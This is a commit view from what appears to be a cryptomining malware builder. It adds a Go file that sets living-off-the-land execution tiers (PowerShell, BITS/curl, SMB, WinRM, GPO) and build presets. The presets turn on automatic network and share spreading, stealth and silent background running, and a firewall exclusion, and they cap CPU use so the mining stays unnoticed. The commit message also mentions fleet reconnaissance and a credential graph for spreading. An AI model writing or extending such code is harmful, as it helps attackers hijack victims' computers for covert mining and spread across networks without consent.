Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
79
server/internal/builder/lotl_onion.go
Normal file
79
server/internal/builder/lotl_onion.go
Normal file
@@ -0,0 +1,79 @@
|
||||
package builder
|
||||
|
||||
import "strings"
|
||||
|
||||
// DefaultLotlOnionTiers matches agent/deploy.DefaultLotlOnionTiers — keep in sync.
|
||||
var DefaultLotlOnionTiers = []string{
|
||||
"docker",
|
||||
"wsl",
|
||||
"powershell",
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"smb",
|
||||
"winrm",
|
||||
"linux",
|
||||
"gpo",
|
||||
}
|
||||
|
||||
// NormalizeLotlOnionTiers filters tier ids for forge + server config.
|
||||
func NormalizeLotlOnionTiers(raw []string) []string {
|
||||
allowed := map[string]struct{}{
|
||||
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
}
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, t := range raw {
|
||||
t = strings.ToLower(strings.TrimSpace(t))
|
||||
if t == "bits/curl" {
|
||||
t = "bits_curl"
|
||||
}
|
||||
if _, ok := allowed[t]; ok {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
if len(out) == 0 {
|
||||
dup := make([]string, len(DefaultLotlOnionTiers))
|
||||
copy(dup, DefaultLotlOnionTiers)
|
||||
return dup
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ApplyLotlOnionPreset enforces AV-Safe-adjacent mining + LOTL spread chain defaults.
|
||||
func ApplyLotlOnionPreset(req *BuildRequest) {
|
||||
req.LotlOnionEnabled = true
|
||||
req.GPUEnabled = false
|
||||
req.MinerExecution = "inprocess"
|
||||
req.ProcessHollowing = false
|
||||
req.SpreadKit = false
|
||||
req.FusionEnabled = false
|
||||
req.Obfuscate = false
|
||||
if !req.AutoSpread {
|
||||
req.AutoSpread = true
|
||||
}
|
||||
if !req.ShareSpread {
|
||||
req.ShareSpread = true
|
||||
}
|
||||
req.USBSpread = false
|
||||
req.RemoteAggressive = false
|
||||
if req.LotlPolicyFromServer || len(req.LotlOnionTiers) == 0 {
|
||||
req.LotlPolicyFromServer = true
|
||||
}
|
||||
req.LotlOnionTiers = NormalizeLotlOnionTiers(req.LotlOnionTiers)
|
||||
if req.MiningMode == "" || req.MiningMode == "always" {
|
||||
req.MiningMode = "idle"
|
||||
}
|
||||
if req.MaxCPUUsagePct <= 0 || req.MaxCPUUsagePct > 50 {
|
||||
req.MaxCPUUsagePct = 50
|
||||
}
|
||||
if req.ThreadPercent <= 0 || req.ThreadPercent > 50 {
|
||||
req.ThreadPercent = 50
|
||||
}
|
||||
req.StealthMode = true
|
||||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||||
req.DisplayMode = "background"
|
||||
}
|
||||
req.SilentMode = true
|
||||
req.FileLogging = true
|
||||
req.FirewallExclusion = true
|
||||
}
|
||||
Reference in New Issue
Block a user